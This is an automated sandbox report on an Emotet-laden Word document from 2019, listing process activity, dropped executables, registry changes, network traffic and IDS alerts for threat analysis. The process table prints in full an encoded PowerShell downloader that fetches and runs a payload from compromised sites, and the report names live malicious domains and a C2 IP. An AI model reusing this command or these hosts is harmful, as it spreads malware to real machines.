| File name: | 59-WKC-2019-937359.doc |
| Full analysis: | https://app.any.run/tasks/7763199f-4583-49cf-bafd-e0a8ee98dcdb |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | May 15, 2019, 12:50:56 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri May 10 09:00:00 2019, Last Saved Time/Date: Fri May 10 09:00:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 3, Security: 0 |
| MD5: | 27F16D1E90F172445CCC98D2CD7C0690 |
| SHA1: | 657FF16905869E0B6C8839FF256863515FB54DF8 |
| SHA256: | 05990DE32C1ED72594E250E93BE4A5462AF1C3B1192B5D79A50AAF8D3F761A27 |
| SSDEEP: | 3072:s77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qoAdFd1vqGhm8ThspFeuYzYbrCTh2a:s77HUUUUUUUUUUUUUUUUUUUT52VEcGhx |
MALICIOUS
Application was dropped or rewritten from another process
- 592.exe (PID: 3176)
- 592.exe (PID: 1000)
- soundser.exe (PID: 3284)
- soundser.exe (PID: 1584)
- S6wIgyWpvxvvmHWuKt.exe (PID: 3892)
- S6wIgyWpvxvvmHWuKt.exe (PID: 3612)
- soundser.exe (PID: 2100)
- soundser.exe (PID: 2964)
Downloads executable files from the Internet
- powErSHell.exe (PID: 2892)
Emotet process was detected
- soundser.exe (PID: 3284)
- soundser.exe (PID: 2100)
Connects to CnC server
- soundser.exe (PID: 1584)
EMOTET was detected
- soundser.exe (PID: 1584)
Changes the autorun value in the registry
- soundser.exe (PID: 1584)
GOTKIT detected
- soundser.exe (PID: 1584)
- S6wIgyWpvxvvmHWuKt.exe (PID: 3612)
SUSPICIOUS
Executable content was dropped or overwritten
- powErSHell.exe (PID: 2892)
- 592.exe (PID: 1000)
- soundser.exe (PID: 1584)
- S6wIgyWpvxvvmHWuKt.exe (PID: 3612)
Creates files in the user directory
- powErSHell.exe (PID: 2892)
Starts itself from another location
- 592.exe (PID: 1000)
- S6wIgyWpvxvvmHWuKt.exe (PID: 3612)
Application launched itself
- S6wIgyWpvxvvmHWuKt.exe (PID: 3892)
- soundser.exe (PID: 2100)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 1892)
Creates files in the user directory
- WINWORD.EXE (PID: 1892)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | - |
|---|---|
| Subject: | - |
| Author: | - |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2019:05:10 08:00:00 |
| ModifyDate: | 2019:05:10 08:00:00 |
| Pages: | 1 |
| Words: | - |
| Characters: | 3 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 3 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
44
Monitored processes
10
Malicious processes
8
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1000 | --27a8c16c | C:\Users\admin\592.exe | 592.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 1584 | --3ab57678 | C:\Users\admin\AppData\Local\soundser\soundser.exe | soundser.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 1892 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\59-WKC-2019-937359.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2100 | "C:\Users\admin\AppData\Local\soundser\soundser.exe" | C:\Users\admin\AppData\Local\soundser\soundser.exe | S6wIgyWpvxvvmHWuKt.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Connection Manager Profile ikstaller Exit code: 0 Version: 7.02.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2892 | powErSHell -e JABzADEANwAwAF8ANgA3AD0AJwBiADQAMQA1ADQAXwA4ACcAOwAkAFcAOAAxADAANAAyAF8ANAAgAD0AIAAnADUAOQAyACcAOwAkAG8ANwAxADIANwA0AD0AJwBYADAAOAAwADgAMQA0ACcAOwAkAFEANQA4ADkAMwAyAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABXADgAMQAwADQAMgBfADQAKwAnAC4AZQB4AGUAJwA7ACQAaQA1ADYAMgAyADYAPQAnAGgANQAzADgAXwA3ACcAOwAkAFUANAA1ADkAMgA0ADMAMQA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwBiACcAKwAnAGoAZQBjAHQAJwApACAATgBgAEUAVAAuAGAAVwBgAGUAQgBjAGwAaQBFAE4AVAA7ACQAdQA2ADkAMwAwADcAOQA9ACcAaAB0AHQAcAA6AC8ALwByAGUAcwBvAHUAcgBjAGUAcwB5AG4AZABpAGMAYQB0AGUALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBjAGQANwB5AGQAOQAzADEAMwA3AC8AQABoAHQAdABwADoALwAvAGoAeQBvAHMAbwB1AGsAbwAuAGMAbAB1AGIALwB3AHAALQBhAGQAbQBpAG4ALwBsAHQAOAAwADEALwBAAGgAdAB0AHAAOgAvAC8AdABhAGMAdABpAGMAcwBjAG8ALgBjAG8AbQAvAFAAcgBvAGQAMwAvAGIAOAAzAC8AQABoAHQAdABwADoALwAvAHQAcgBhAGQAZQBsAGEAdwAuAGMAbwBtAC8ANQB0AGsAYgBsADAAMQAzADMANwAvAEAAaAB0AHQAcAA6AC8ALwBpAG4AcwB0AGEAcwBpAHoAZQAuAG8AcgBnAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGYAMAA5AHkANwAzAC8AJwAuAHMAcABMAGkAdAAoACcAQAAnACkAOwAkAEcAXwA5ADkAMAAxADcAOAA9ACcAdAAwADgANwBfADIAJwA7AGYAbwByAGUAYQBjAGgAKAAkAFEAMgA5ADkAMQA5ADgAXwAgAGkAbgAgACQAdQA2ADkAMwAwADcAOQApAHsAdAByAHkAewAkAFUANAA1ADkAMgA0ADMAMQAuAGQAbwBXAG4ATABvAEEARABGAGkAbABlACgAJABRADIAOQA5ADEAOQA4AF8ALAAgACQAUQA1ADgAOQAzADIAKQA7ACQAQwAyADgAMgA3ADEANgBfAD0AJwB3AF8ANgA0ADMAMQA3ADIAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACAAJABRADUAOAA5ADMAMgApAC4AbABlAE4AZwBUAEgAIAAtAGcAZQAgADMAMAAwADIAMQApACAAewAmACgAJwBJAG4AJwArACcAdgBvAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACAAJABRADUAOAA5ADMAMgA7ACQAaAAwADAAMwAxADgAOAA9ACcAWQAyADYAMwA2ADQAJwA7AGIAcgBlAGEAawA7ACQAUAA5ADMAXwAxADgAPQAnAGYANwA4ADcAMQA5ADcAMAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABPADAAMAA2ADUAMAA1AD0AJwBzADYAMwA5ADAAMQA3ACcA | C:\Windows\System32\WindowsPowerShell\v1.0\powErSHell.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2964 | --3ab57678 | C:\Users\admin\AppData\Local\soundser\soundser.exe | — | soundser.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Connection Manager Profile ikstaller Exit code: 0 Version: 7.02.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3176 | "C:\Users\admin\592.exe" | C:\Users\admin\592.exe | — | powErSHell.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 3284 | "C:\Users\admin\AppData\Local\soundser\soundser.exe" | C:\Users\admin\AppData\Local\soundser\soundser.exe | 592.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 3612 | --16a90d6b | C:\Users\admin\AppData\Local\soundser\S6wIgyWpvxvvmHWuKt.exe | S6wIgyWpvxvvmHWuKt.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Connection Manager Profile ikstaller Exit code: 0 Version: 7.02.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3892 | "C:\Users\admin\AppData\Local\soundser\S6wIgyWpvxvvmHWuKt.exe" | C:\Users\admin\AppData\Local\soundser\S6wIgyWpvxvvmHWuKt.exe | — | soundser.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Connection Manager Profile ikstaller Exit code: 0 Version: 7.02.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
Total events
1 737
Read events
1 255
Write events
477
Delete events
5
Modification events
| (PID) Process: | (1892) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | #:4 |
Value: 233A340064070000010000000000000000000000 | |||
| (PID) Process: | (1892) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (1892) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (1892) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1320091678 | |||
| (PID) Process: | (1892) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1320091792 | |||
| (PID) Process: | (1892) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1320091793 | |||
| (PID) Process: | (1892) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: 640700000EE38ADF1C0BD50100000000 | |||
| (PID) Process: | (1892) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | <;4 |
Value: 3C3B34006407000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (1892) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | <;4 |
Value: 3C3B34006407000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (1892) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
4
Suspicious files
2
Text files
0
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1892 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR3E83.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2892 | powErSHell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TW275A86JQ3S9KQIWI1W.temp | — | |
MD5:— | SHA256:— | |||
| 2892 | powErSHell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 1892 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$-WKC-2019-937359.doc | pgc | |
MD5:— | SHA256:— | |||
| 1892 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:— | SHA256:— | |||
| 2892 | powErSHell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1348e3.TMP | binary | |
MD5:— | SHA256:— | |||
| 1892 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 2892 | powErSHell.exe | C:\Users\admin\592.exe | executable | |
MD5:— | SHA256:— | |||
| 1000 | 592.exe | C:\Users\admin\AppData\Local\soundser\soundser.exe | executable | |
MD5:— | SHA256:— | |||
| 1584 | soundser.exe | C:\Users\admin\AppData\Local\soundser\S6wIgyWpvxvvmHWuKt.exe | executable | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
1
Threats
9
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2892 | powErSHell.exe | GET | 200 | 148.66.137.120:80 | http://resourcesyndicate.com/wp-content/cd7yd93137/ | SG | executable | 74.0 Kb | malicious |
1584 | soundser.exe | POST | 200 | 181.16.127.226:443 | http://181.16.127.226:443/tlb/ | AR | binary | 86.3 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
1584 | soundser.exe | 181.16.127.226:443 | — | Ver Tv S.A. | AR | malicious |
2892 | powErSHell.exe | 148.66.137.120:80 | resourcesyndicate.com | GoDaddy.com, LLC | SG | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
resourcesyndicate.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2892 | powErSHell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2892 | powErSHell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2892 | powErSHell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
1584 | soundser.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 6 |
1584 | soundser.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
1584 | soundser.exe | Potentially Bad Traffic | ET POLICY HTTP traffic on port 443 (POST) |
3 ETPRO signatures available at the full report